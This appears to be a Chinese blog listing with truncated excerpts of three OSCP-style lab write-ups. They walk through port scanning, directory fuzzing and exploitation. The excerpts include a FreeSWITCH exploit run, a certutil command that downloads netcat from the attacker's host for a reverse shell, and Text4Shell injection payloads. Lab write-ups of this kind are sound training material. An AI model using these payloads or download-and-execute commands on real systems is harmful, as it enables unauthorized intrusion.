發表文章

Challenge 6 - AD

圖片
 Challenge 6 -  AD 先掃對外的機器 └─$ rustscan -a 192.168.187.153 --scripts none --ulimit 5000 | tee rustscan 列舉服務資訊 └─$ sudo nmap -sCV -p 22,135,139,445,5040,5985,8000,47001,49664,49666,49665,49667,49669,49670,49668,49671 192.168.187.153 | tee nmap 跑 SSH 22 的 Windows,以及 8000 IIS └─$ whatweb 192.168.187.153:8000,標準 IIS 10.0 服務 預設 8000 Port 沒啥東西 └─$ sudo nmap -sU -p 161 192.168.187.153,snmp 服務沒開                                                                └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000 -t 150 -x txt,pdf,git,aspx | tee gobuster,HTTP Status 200 有這兩個 /aspent_client /partner http://192.168.187.153:8000/partner/ 顯示 Access Deny,看來是個資料夾,那就掃子目錄看看 └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000/partner -t 150 -x txt,pdf,git,aspx | tee gobuster-partner,掃出兩個路徑 /changelog、/db 連線測試發現是檔案...

Challenge 5 - Gust

圖片
Challenge 5 -  Gust └─$ rustscan -a 192.168.193.151 --scripts none --ulimit 5000 └─$ sudo nmap -sCV -p 80,2855,2856,5060,5066,5080,7443,8021 192.168.193.151 | tee nmap 有 4 個 Port 都顯示了 FreeSWITCH mod_sofia 1.10.1~64bit 有名稱有版本,相當可疑 └─$ sudo nmap -sU -p 161 192.168.193.151 | tee nmap-snmp snmp 有開但顯示 filtered,看來是不能用了 snmp-check 一下,預設的 public 不能支援就先不用再嘗試了 瀏覽器開起來是 IIS 預設介面,暫時沒戲 └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.151 -t 150 -x txt,pdf,git,aspx | tee gobuster 看來網站的部分也是暫時沒戲 將目標轉回 FreeSWITCH,直接 searchsploit FreeSWITCH 有個 47799.txt 文字檔 直接線上看一下吧  https://www.exploit-db.com/exploits/47799 版本與枚舉的一,且告訴你直接執行 python code 接 IP 與 command 即可 # -- Example -- # root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami 內容也是一段 python code 那就直接把 47799.txt 改成 47799.py 然後執行看看,看來可以直接執行,直接看到是 oscp\chris 那就上傳 nc 然後執行 nc 拿 reverse shell 吧 python3 ./47799.py 192.168.193.151 "certutil -urlcache -f http://192.168.45.240/nc64.exe C:\users\chris\nc.exe" 上傳後 dir 看一下有成功上傳 └─$ python3 ./4...

Challenge 5 - Berlin

圖片
 Challenge 5 -  Berlin └─$ rustscan -a 192.168.193.150 --scripts none --ulimit 5000 | tee rustscan └─$ sudo nmap -sCV -p 22,8080 192.168.193.150 | tee nmap        只有兩個 Port,22 看來是標準 SSH,8080 顯示 http-favicon: Spring Java Framework └─$ sudo nmap -sU -p 161 192.168.193.150 | tee nmap-snmp,snmp 沒開 └─$ whatweb http://192.168.193.150:8080 | tee whatweb └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.150:8080 -k -t 150 -x txt,pdf,git,php | tee gobuster-8080 有個 /search 看來比較有用 用瀏覽器打開後網頁顯示 query & result,馬上帶入 query string "query=ooxx" 試試看 http://192.168.193.150:8080/search?query=whoami 發現帶入有顯示但沒顯示輸出 測試了一番後發現這個是透過 Java 的方式執行的命令所以語法前面要使用 ${script:javascript:java.lang.Runtime.getRuntime().exec('要執行的命令')} 可以參考這一篇  https://github.com/cxzero/CVE-2022-42889-text4shell  不同的 JDK 版本使用的標準語法不同,靶機環境是一個 JDK < 15 的環境 JDK < 15 : ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} JDK 15+ ${script:JEXL:''.getClass().forName('java.la...